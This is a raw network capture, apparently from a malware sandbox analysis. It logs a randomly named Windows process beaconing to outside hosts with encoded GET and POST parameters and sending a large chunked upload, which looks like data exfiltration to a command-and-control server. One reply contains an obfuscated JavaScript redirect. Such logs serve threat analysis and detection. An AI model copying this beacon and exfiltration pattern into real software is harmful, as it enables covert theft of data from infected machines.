71 aa d4 41 5e 18 06 68 22 9a c5 15 61 65 de 08 3b f9 31 30 4d c6 12 db 77 99 43 fb 03 87 3a 5e df e1 1e 65 51 12 c1 8d cf 70 13 a9 81 95 e7 a8 8f 5c 9d 20 e5 f4 db 9a 3e ae 68 ce ff 80 6f cc 70 88 c0 4d 92 03 15 90 d6 aa 8c 39 d4 49 72 a1 a6 3c 29 05 d7 d2 bc 87 24 24 79 ec 6a f0 3f ab c7 07 5d b7 74 fd 77 81 df a3 6d 9f [TRUNCATED] Data Ascii: 1f2So0$\|QM}r%5[6Zw;H2b)1[/,d;Y.5FR16?EI JgI\|92`[a7hq:_@4WhW-Pc`y*>Fp8qA^h"ae;10MwC:^eQp\ >hopM9Ir<)$$yj?]twm^zXymoW"6\|q.aqPs~JRJS8%aaIUf5k\|6f@ z}jl@]i{s[".7i0`Hq!\|(Y7B0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49777	142.202.6.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:25.248404980 CEST	522	OUT	GET /hqcp/?vX=a7ZQHf8WLvhHVBvdkZq5xuKGtafV4VgGgVvybuFCKLHzqS2zk6yuhV6s1hLkbw5zmPfcdtbcw9raqNmLcm/5LDv7+9F7BWl1gWJ1Gl5m9d8a+w3Gr0PmHHU=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:35:26.419451952 CEST	1283	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 34 34 32 0d 0a 3c 73 63 72 69 70 74 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 69 64 3d 22 4c 41 5f 43 4f 4c 4c 45 43 54 22 20 73 72 63 3d 22 2f 2f 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 4c 41 2e 69 6e 69 74 28 7b 69 64 3a 22 33 49 42 73 56 53 72 32 78 4f 41 43 49 56 4a 55 22 2c 63 6b 3a 22 33 49 42 73 56 53 72 32 78 4f 41 43 49 56 4a 55 22 7d 29 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 38 30 30 63 63 66 32 37 34 63 33 61 35 39 33 61 33 36 35 33 65 36 61 63 62 66 62 30 30 63 37 63 22 3b 0a 20 20 76 61 72 20 73 20 3d 20 [TRUNCATED] Data Ascii: 442<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script><script>LA.init({id:"3IBsVSr2xOACIVJU",ck:"3IBsVSr2xOACIVJU"})</script><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?800ccf274c3a593a3653e6acbfb00c7c"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script>...1--><script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script><script>LA.init({id:"KQ2cxFS69unN6J8D",ck:"KQ2cxFS69unN6J8D"})</script><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?be472e8744edb3816324a1183cdffac6"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script><script> var url = "https://aaa.za1.jecxs.cn/123.html"; var _0x0 = ["\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x72\x65\x66"]; s [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49778	74.208.236.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:31.783313990 CEST	803	OUT	POST /9qp3/ HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.motorsportgives.com Referer: http://www.motorsportgives.com/9qp3/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 55 58 77 4f 37 51 47 48 4a 4d 4b 54 5a 5a 4d 41 78 34 66 34 53 44 72 53 56 7a 44 56 63 2b 4f 30 4b 6a 44 75 46 58 6e 73 79 2f 41 54 6e 7a 61 6c 49 73 67 5a 56 45 6b 56 7a 4b 68 58 36 33 4a 79 65 7a 51 79 73 43 78 69 4e 30 79 35 6e 6d 46 47 63 4e 35 66 61 76 59 38 5a 56 2f 38 64 32 31 78 6a 65 47 59 2f 61 30 4a 4b 75 41 59 46 31 54 4a 49 66 7a 72 32 51 67 75 44 46 70 6d 33 43 6a 7a 77 4b 75 39 50 64 35 76 45 6a 6d 46 50 63 73 2f 38 57 68 39 46 5a 53 7a 33 39 73 49 37 4f 51 77 6a 56 52 31 35 68 73 78 75 34 4a 43 33 45 4b 76 77 6b 72 69 6d 49 4c 77 43 2b 6d 69 33 58 4a 68 6f 67 3d 3d Data Ascii: vX=UXwO7QGHJMKTZZMAx4f4SDrSVzDVc+O0KjDuFXnsy/ATnzalIsgZVEkVzKhX63JyezQysCxiN0y5nmFGcN5favY8ZV/8d21xjeGY/a0JKuAYF1TJIfzr2QguDFpm3CjzwKu9Pd5vEjmFPcs/8Wh9FZSz39sI7OQwjVR15hsxu4JC3EKvwkrimILwC+mi3XJhog==
Jul 3, 2024 17:35:31.921339989 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:35:31 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49779	74.208.236.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:34.479335070 CEST	1143	OUT	POST /9qp3/ HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.motorsportgives.com Referer: http://www.motorsportgives.com/9qp3/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 55 58 77 4f 37 51 47 48 4a 4d 4b 54 59 35 63 41 39 35 66 34 56 6a 72 52 4a 44 44 56 53 65 4f 77 4b 6a 2f 75 46 57 79 78 79 4e 55 54 6e 57 2b 6c 4a 74 67 5a 59 6b 6b 56 6e 61 67 64 6c 6e 4a 70 65 7a 4d 51 73 41 6c 69 4e 77 53 35 6c 55 39 47 64 39 35 65 55 50 59 7a 52 31 2f 35 4b 6d 30 2b 6a 65 4c 78 2f 59 49 4a 4a 64 30 59 45 7a 48 4a 43 74 62 6f 79 77 67 6f 53 56 70 6c 38 69 6a 39 77 4b 54 41 50 5a 35 2f 46 51 36 46 50 38 4d 2f 39 57 68 2b 4c 70 53 30 2f 64 74 6b 36 65 52 48 73 45 52 69 2b 77 59 32 68 72 78 6d 30 48 71 77 34 47 66 52 35 59 65 4d 47 4e 37 65 6a 33 45 2b 32 4e 74 48 6b 4c 58 4b 2b 54 6d 38 54 6a 4c 2b 65 77 68 31 4d 4f 47 57 77 33 4d 6d 6b 67 43 4a 32 53 4b 69 6a 45 64 67 31 67 79 63 4d 4e 74 4b 45 69 4e 6a 62 42 62 72 66 61 70 7a 72 6f 4b 34 64 48 48 4e 5a 55 4d 6b 63 51 49 4f 75 6a 74 6c 66 33 41 38 62 67 2f 38 57 78 56 71 71 5a 62 41 48 67 6c 77 41 71 46 39 47 67 58 7a 55 79 46 36 51 36 39 57 6a 43 62 51 39 54 54 2b 61 62 7a 6e 4c 6f 4a 53 6e 6d 77 45 2f 42 49 75 4e 2b 57 [TRUNCATED] Data Ascii: vX=UXwO7QGHJMKTY5cA95f4VjrRJDDVSeOwKj/uFWyxyNUTnW+lJtgZYkkVnagdlnJpezMQsAliNwS5lU9Gd95eUPYzR1/5Km0+jeLx/YIJJd0YEzHJCtboywgoSVpl8ij9wKTAPZ5/FQ6FP8M/9Wh+LpS0/dtk6eRHsERi+wY2hrxm0Hqw4GfR5YeMGN7ej3E+2NtHkLXK+Tm8TjL+ewh1MOGWw3MmkgCJ2SKijEdg1gycMNtKEiNjbBbrfapzroK4dHHNZUMkcQIOujtlf3A8bg/8WxVqqZbAHglwAqF9GgXzUyF6Q69WjCbQ9TT+abznLoJSnmwE/BIuN+WGjYzDqKtgR/4wsYh4Fdt2S1LvQwaRUPXjsllS6LMgjXmPOK30ZOIAk9ocSmzRrGVQDm5t5dudLgB63+3pXMERzHpZp9+nnzNuosPluCplePUWg75DkHpkzNtHbzZzrcyVdWoPWXq7vJ220bX5gIQkshLPrGX7uh2elfSDzgKbPNpapc92LZAPCgTDrFJN0SNN7QwcQ+I=
Jul 3, 2024 17:35:34.617757082 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:35:34 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49780	74.208.236.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:37.165724993 CEST	9023	OUT	POST /9qp3/ HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.motorsportgives.com Referer: http://www.motorsportgives.com/9qp3/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 55 58 77 4f 37 51 47 48 4a 4d 4b 54 59 35 63 41 39 35 66 34 56 6a 72 52 4a 44 44 56 53 65 4f 77 4b 6a 2f 75 46 57 79 78 79 4e 4d 54 6e 67 79 6c 49 4f 49 5a 5a 6b 6b 56 34 71 67 63 6c 6e 4a 6f 65 7a 45 55 73 41 6f 66 4e 32 65 35 6d 45 4e 47 65 49 56 65 65 76 59 79 53 31 2f 2f 64 32 31 2f 6a 65 47 6d 2f 59 4d 33 4b 74 77 59 46 30 6a 4a 47 62 54 72 2b 41 67 75 53 56 70 54 34 69 6a 44 77 4b 6d 4c 50 63 68 2f 46 53 65 46 4d 71 41 2f 2f 42 56 2b 43 5a 53 33 6d 4e 74 72 30 2b 51 39 73 45 56 63 2b 77 59 4d 68 71 46 6d 30 46 69 77 2f 48 66 53 35 34 65 4d 61 64 37 64 31 48 49 36 32 4e 67 53 6b 4b 54 4b 2b 54 4f 38 4a 44 4c 2b 59 56 42 32 46 4f 47 51 6d 48 4e 6d 67 67 47 42 32 53 65 63 6a 41 46 67 31 52 57 63 4d 36 42 4b 44 44 4e 6a 53 42 62 70 41 4b 70 61 6c 49 4c 37 64 44 6a 72 5a 56 73 30 63 51 73 4f 76 43 4e 6c 4a 47 41 7a 64 41 2b 33 49 68 56 46 75 5a 58 45 48 67 30 79 41 71 46 74 47 68 6a 7a 58 44 31 36 54 2f 4a 5a 75 79 62 54 70 6a 53 38 54 37 2f 70 4c 70 6c 61 6e 6c 67 55 2f 43 6b 75 4d 65 57 [TRUNCATED] Data Ascii: vX=UXwO7QGHJMKTY5cA95f4VjrRJDDVSeOwKj/uFWyxyNMTngylIOIZZkkV4qgclnJoezEUsAofN2e5mENGeIVeevYyS1//d21/jeGm/YM3KtwYF0jJGbTr+AguSVpT4ijDwKmLPch/FSeFMqA//BV+CZS3mNtr0+Q9sEVc+wYMhqFm0Fiw/HfS54eMad7d1HI62NgSkKTK+TO8JDL+YVB2FOGQmHNmggGB2SecjAFg1RWcM6BKDDNjSBbpAKpalIL7dDjrZVs0cQsOvCNlJGAzdA+3IhVFuZXEHg0yAqFtGhjzXD16T/JZuybTpjS8T7/pLplanlgU/CkuMeWGoabCzqtjZf4mxIhvFdxAS3maXDeRU/njmVlRxLMsp3mJY630ZOEUk90cS3LRoUdQIVht7dubLgBr3+7aXM9CzGZzp/SnpHButo7m5ypkNfVW+L9UkH1azNdIbEpztouVZWoMS3q8oJ28lLL1gI8ashPfrFX7+wLKh8WssSSAL+V/tat4I4QoPBCup1Ae7x1WmhRcH7c8PaVZ4fBd52rAynhDqyCIs/buBBsdJn8v9MRQgmNWLf1oKg+gSfF4ULbYxkxg0auY5MGxQQnWep0Vokh6ZD5+X3xG4z4CL/PmxtkJbre6F24c2TWWf2MLDpTN3Pp16n9sPiaGcPlxK4C1+Vt1x8ULluBs8KIyKOSJCns1NvZV7PmRUP9J3cPKDrzHvA0v0jJZzBZ2HYgCU0cwYXrDGG3lrKvY+jUQvIAujXTDlXNAlK3IIsOrdFA1WhmLbKzhhaBevSS6DcAPrTjGRwcrSq2NDCaedSnOVmfyjg7+omxtXMun0lwV4HEN1ooNhOD7Y2QVgJRWw6mkUPQfNtPRdPGrzElPaOhobREprtE8fhVJtyOkrf9Fy0pSMC//GxjlZQ7QsouVkPokoZOriVH8RiuFTj19clpM03WLgp/2FJvO5Q1IS7UgbZ73ZBm+KkTjxxvvepaFKRRxjeIRBbjEPz2F92Zzp [TRUNCATED]
Jul 3, 2024 17:35:37.165774107 CEST	3867	OUT	Data Raw: 75 4d 58 50 65 46 63 6e 32 2b 76 63 35 4c 45 37 76 4c 70 56 46 4b 70 46 37 6c 2f 58 45 6e 78 78 62 54 49 7a 69 34 75 6e 54 71 5a 4a 59 44 36 36 53 43 7a 72 68 59 54 4e 67 70 53 61 6c 58 54 4c 53 6f 68 41 34 2f 53 7a 47 68 2f 6b 65 72 30 31 74 52 Data Ascii: uMXPeFcn2+vc5LE7vLpVFKpF7l/XEnxxbTIzi4unTqZJYD66SCzrhYTNgpSalXTLSohA4/SzGh/ker01tRyYqUTJFnM/hHRTKMeCYwIunVoM7CIKxaUH2GS0nm+iHeelEzhx1+qVSDW46HLhiXZrqsd0nUSWOa1PbpMoBqSDD81k7utLH1liYyH4kefH1jvdoGUW78s3Z0y8A7C+s3vVGfpAnL7Ls7RZzlpmXcm6iHsjq2gWHUj
Jul 3, 2024 17:35:37.297622919 CEST	2578	OUT	Data Raw: 64 49 64 77 62 59 68 41 30 74 69 36 59 4a 31 73 4c 7a 48 53 67 41 49 37 48 45 69 34 4e 35 6b 7a 31 4c 53 61 54 71 58 4a 62 6b 6e 69 6e 4f 38 5a 51 47 37 53 73 54 6d 2f 59 49 53 79 4d 49 53 30 6f 4c 69 75 53 58 34 65 32 42 7a 52 58 5a 61 46 47 72 Data Ascii: dIdwbYhA0ti6YJ1sLzHSgAI7HEi4N5kz1LSaTqXJbkninO8ZQG7SsTm/YISyMIS0oLiuSX4e2BzRXZaFGr+yD5ykE7xCfMXuYsXdJDskmm24FE23pRluQiXOkzS0worERr+IzyY6y6O1VmNQLXlVAoiqA1SxHO0rFrKhJahXc/jMU+XJmIJ7qnGeeIIlromjKgYza4Qk/tZOw5W0Hz61N1zuitb14iBjBYP71zcOZWalkbqbHU4
Jul 3, 2024 17:35:37.297801971 CEST	19335	OUT	Data Raw: 4c 68 4b 62 6b 45 44 6c 4e 51 61 78 44 76 6b 6c 50 4c 49 67 76 48 76 62 49 48 6d 50 53 2b 53 6c 63 4e 47 57 58 42 50 48 70 51 5a 35 4a 65 41 77 51 46 73 74 54 6c 37 55 52 58 76 53 48 45 49 68 6a 4e 58 65 76 55 64 33 4d 63 77 7a 78 6b 75 37 6c 6a Data Ascii: LhKbkEDlNQaxDvklPLIgvHvbIHmPS+SlcNGWXBPHpQZ5JeAwQFstTl7URXvSHEIhjNXevUd3Mcwzxku7ljXTpmVgqdyLZCTrhHJ0e5JMpxEd2djfKJkh+PljlueHJ/0xujsRn15N4qowrhsd4or8oRrPa7ypLX6n8v9wCrPJmfhDc6iLhQ89MHTOPjb7JIlhkriCKr0BVFFt0GSfT70GpsprlLAJL00heiac2WeajxXqXxWrhz+
Jul 3, 2024 17:35:37.297959089 CEST	3867	OUT	Data Raw: 75 32 64 37 48 46 58 35 73 36 55 4e 4c 47 77 74 4c 65 30 63 42 41 47 61 57 51 65 4c 37 45 64 4d 30 48 4b 6a 45 2f 33 71 6f 33 4b 48 6e 68 6d 4b 62 39 4f 6a 79 42 65 4d 45 4e 50 49 4e 30 35 77 57 72 65 6a 54 31 58 78 4a 32 4d 59 6f 63 4d 4b 36 4f Data Ascii: u2d7HFX5s6UNLGwtLe0cBAGaWQeL7EdM0HKjE/3qo3KHnhmKb9OjyBeMENPIN05wWrejT1XxJ2MYocMK6OXg2eeOn064qQNrQ1l7Z6HFSBUB9IvEZs1MemcjCwwwazvgm1qT+efq+iZ3KYTqXgKyeerLz3ehIt6dx85OnFzbBQJPeOtCbVcNasMlTRfqXY/fQNXkqMtff/EZ9x/6a/TwUu+RjMBVimU3iEz1FWWqEAb4dgiKxlz
Jul 3, 2024 17:35:37.429631948 CEST	6445	OUT	Data Raw: 4e 73 33 76 4c 75 64 66 6a 74 4e 2b 43 47 45 45 74 45 62 46 4a 4d 52 6f 43 4d 30 5a 74 4b 5a 67 38 4e 41 4f 6f 53 37 57 6d 48 62 65 72 34 36 31 6a 32 47 4b 56 56 52 34 59 56 63 31 32 30 4e 4e 49 61 64 52 4a 79 2f 66 41 4e 61 34 41 6a 44 59 35 55 Data Ascii: Ns3vLudfjtN+CGEEtEbFJMRoCM0ZtKZg8NAOoS7WmHber461j2GKVVR4YVc120NNIadRJy/fANa4AjDY5UA5D9TJzRRQfXKm8iy2KPv019cNvUbN9dxYYOiwXHSPPMjVcXbEovVwmGFj03KgOoGRfv4GsVnWNVbtDsoBTW5i01RTP5f6U7l/bPfPa3pb7vJjTsxsSzUDW8IZkgbqnXZdPg2+m/hpqqIJDcO/yHEl0SvYEdZgV+i
Jul 3, 2024 17:35:37.429821968 CEST	6445	OUT	Data Raw: 38 66 70 59 64 62 46 2f 30 6f 7a 30 4e 42 68 31 41 4b 72 50 2b 6a 79 46 79 42 69 41 33 41 62 2b 69 46 55 38 78 76 52 77 75 4d 78 33 77 45 42 6a 38 30 5a 62 47 56 50 36 6a 76 6e 45 61 38 5a 73 4b 4b 39 61 52 68 7a 54 6a 4f 4a 2f 63 66 75 50 78 74 Data Ascii: 8fpYdbF/0oz0NBh1AKrP+jyFyBiA3Ab+iFU8xvRwuMx3wEBj80ZbGVP6jvnEa8ZsKK9aRhzTjOJ/cfuPxt3/ZM7zhJDBFglc6syuGePI6ZEfScGioK88NrbeDDPWIBxLDJ10SQAjxNsTmmRKtmyNleLdMwnYR9tlcJswOAlHGyxAdo5MZt/Pc+L2Iv/zcctLcB+sphcopJKrud6nNUYxGQeLoxM6dkDQyOgCYpM5/FFYrN95c17
Jul 3, 2024 17:35:37.429929018 CEST	1973	OUT	Data Raw: 4f 47 79 79 32 44 64 4f 54 33 47 6d 72 45 36 30 38 6e 4f 52 38 70 38 44 50 43 58 4b 65 4d 56 38 69 68 65 55 61 41 52 6a 6d 62 63 52 35 47 4f 36 4b 77 44 43 54 49 45 7a 6d 79 6b 45 68 53 42 5a 37 71 33 2f 66 61 59 42 4f 38 6e 62 49 63 6e 2b 52 42 Data Ascii: OGyy2DdOT3GmrE608nOR8p8DPCXKeMV8iheUaARjmbcR5GO6KwDCTIEzmykEhSBZ7q3/faYBO8nbIcn+RB35FV67c1Dl1v4KqqA2GzKq3FXD7Fz+FvPXhs0gPm+vYrjFMv/8XLqtwyGhgMfaPLxebJv6PenvI0jk09Dtb+D/+8R3efNIq9/R9qEH0qrZBIbaH442BJXemPc4PHm29K1XbgvYCjah1b4kxM9MNPaCOzzRSuINQpd
Jul 3, 2024 17:35:37.565179110 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:35:37 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49781	74.208.236.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:39.849237919 CEST	527	OUT	GET /9qp3/?vX=ZVYu4nT3XPb6D5AnzJCZdD7dAyPNRNa3VWXdQVyX2eJo5TfLIuEqAXNcy5gjyltbfDYrkl4fema7mXoYWaQkTP4cU372CGZgosL9vb0GBN03EULPLqCD5DY=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
